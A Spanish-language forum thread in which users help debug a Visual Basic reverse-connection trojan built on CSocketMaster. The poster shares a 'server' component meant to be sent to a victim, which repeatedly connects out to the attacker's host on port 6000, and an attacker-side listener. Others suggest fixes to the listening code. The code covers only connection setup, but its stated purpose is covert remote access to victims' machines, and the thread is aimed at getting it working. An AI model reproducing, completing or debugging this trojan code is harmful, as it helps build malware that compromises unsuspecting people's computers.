Server no conecta, ayuda

[fede_cp]

hola, bueno yo anteriormente postee sobre un problema con el Csocketmaster...parece que está solucionado

pero ahora me surgió otro problemam al hacer el troyano de conexion inversa (con los winsock) me funciona bien, pero al hacer el server y el cliente el servidor no conecta..

a ver si laguien me puede ayudar

server.exe (envia a la victima)

Código (vb) [Seleccionar] Expandir

Option Explicit
Dim WithEvents cliente As CSocketMaster

Private Sub Coneccion_Timer_Timer()
If Not cliente.State = sckConnected Then
cliente.CloseSck
cliente.Connect cliente.RemoteHost, 6000
End If
End Sub

Private Sub Form_Load()
Set cliente = New CSocketMaster
cliente.CloseSck
cliente.RemoteHost = "ip-o-dominio-no-ip"
cliente.Connect cliente.RemoteHost, 6000
End Sub
Private Sub Label1_Click()
If cliente.State = sckConnected Then
Label1.Caption = "conectado"
Else: Label1.Caption = "desconectado"
End If
End Sub

cliente.exe (atacante)

Código (vb) [Seleccionar] Expandir

Option Explicit
Dim WithEvents server As CSocketMaster

Private Sub Command1_Click()
server.CloseSck
server.Bind 6000
server.Listen
End Sub
Private Sub Form_Load()
Set server = New CSocketMaster
End Sub
Private Sub ws_ConnectionRequest(ByVal requestID As Long)
server.CloseSck
server.Accept requestID
End Sub


bueno el que tenga ganas de ayudar bienvenido sea 

adios y gracias

[Karcrack]

Código (vb) [Seleccionar] Expandir

server.CloseSck
server.LocalPort = 6000
server.Listen

Yo lo usaba así y me funcionaba

Saludos

[fede_cp]

MM ya lo probe y no funciona tampoco.. osea, el problema principal es la conexion,se que ahí hay algo mal, el archivo cliente escucha, pero el server no conecta.

gracias igualmente 

adios

[50l3r]

la duda que me planteo yo, son los pasos:

tienes que introducir los dos modulos

luego definirlo en cada formulario



la cosa es si hay que sustituir ademas del wsk.close al wsk.closesck algo mas

o solo hay que susituir eso?

luego la tipica cuestion de si se pude tener winsock en cliente y csocketmaster en servidor

gracias, asi nos solventamos las dudas completas todos 

[fede_cp]

Por favor si hay alguien que sepa de esto que nos de alguna solucion ya que hay varios interesados en cambiarnos a Cscoketmaster

por favoor ayuda y gracias a los que respondieron!

adios

[carlitrosss6]

En el cliente estas usando un Winsock?.

Código [Seleccionar] Expandir


Private Sub ws_ConnectionRequest(ByVal requestID As Long)
server.CloseSck
server.Accept requestID
End Sub


En ningùn lado veo el ws.Listen? Quieres usar el requestID del control ws para el cSocketmaster?.

Seguramente te falta poner tu control de Winsock (ws) en escucha (listen),porque asì nunca le llega un ConnectionRequest,y por ende nunca se conecta.

Espero sus respuestas para seguir  .

[fede_cp]

ya tengo solucionado ese tema igualemnte muchas gracias

adios

[50l3r]

aun asi, viene bien siempre resovlerlas completamente para futuras dudas